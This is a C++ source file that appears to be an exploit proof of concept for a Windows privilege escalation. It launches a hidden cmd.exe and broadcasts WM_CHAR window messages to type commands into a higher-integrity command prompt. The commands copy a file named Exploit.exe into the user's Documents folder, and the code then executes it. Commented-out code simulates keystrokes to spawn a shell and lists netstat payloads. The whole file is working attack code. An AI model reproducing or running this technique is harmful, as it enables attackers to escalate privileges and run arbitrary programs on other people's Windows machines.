// Microsoft Windows 57135 Remote Privilege Escalation Vulnerability
#include "stdafx.h"
#include "MyExploit.h"
#include <windows.h>
#include <stdio.h>
#include <fstream>
#include <shellapi.h>

int ExploitME()
{
	std::ofstream myfile;
	myfile.open("C:\\exploit.txt");
	
	STARTUPINFO si;
	PROCESS_INFORMATION pi = { 0 };

	memset(&si, 0, sizeof(si));
	si.cb = sizeof(STARTUPINFO);
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;

	si.cb = sizeof(si);
	CreateProcess(
		NULL,
		"C:\\Windows\\system32\\cmd.exe",
		NULL,
		NULL,
		FALSE,
		CREATE_NEW_CONSOLE,
		NULL,
		NULL,
		&si,
		&pi
		);

	Sleep(1000);

	// Yeah, you can "bruteforce" the index of the window..
/*	printf("2] Use Win+Shift+7 to ask explorer.exe to spawn a cmd.exe MI..");
	keybd_event(VK_LWIN, 0x5B, 0, 0);
	keybd_event(VK_LSHIFT, 0xAA, 0, 0);
	keybd_event(0x37, 0x87, 0, 0);

	keybd_event(VK_LWIN, 0x5B, KEYEVENTF_KEYUP, 0);
	keybd_event(VK_LSHIFT, 0xAA, KEYEVENTF_KEYUP, 0);
	keybd_event(0x37, 0x87, KEYEVENTF_KEYUP, 0);
	myfile << "key up" << std::endl;
	Sleep(1000);
	printf("3] Killing now the useless low IL cmd.exe..\n");

	TerminateProcess(
		pi.hProcess,
		1337
		);*/

	printf("4] Now driving the medium IL cmd.exe with SendMessage and HWND_BROADCAST (WM_CHAR)\n");
	printf("   \"Drive the command prompt [..] to make it look like a scene from a Hollywood movie.\" <- That's what we're going to do!\n");

	//PCHAR payload2[] = {"netstat -ano > pap.txt 2>&1", "netstat -bano > pap2.txt 2>&1", NULL };
	 
	PCHAR copy[] = { "xcopy Exploit.exe %USERPROFILE%\\Documents /s /e", NULL };

	for (unsigned int i = 0; copy[i] != NULL; ++i)
	{
		for (unsigned int j = 0; j < strlen(copy[i]); ++j)
		{
			// Yeah, that's the fun part to watch ;D
			Sleep(10);
			SendMessage(
				HWND_BROADCAST,
				WM_CHAR,
				copy[i][j],
				0
				);
		}
		Sleep(1000);
		
		myfile << "send message" << std::endl;
		SendMessage(
			HWND_BROADCAST,
			WM_CHAR,
			VK_RETURN,
			0
			);
	}

	Sleep(1000);

	system("%USERPROFILE%\\Documents\\Exploit.exe");

	return EXIT_SUCCESS;
}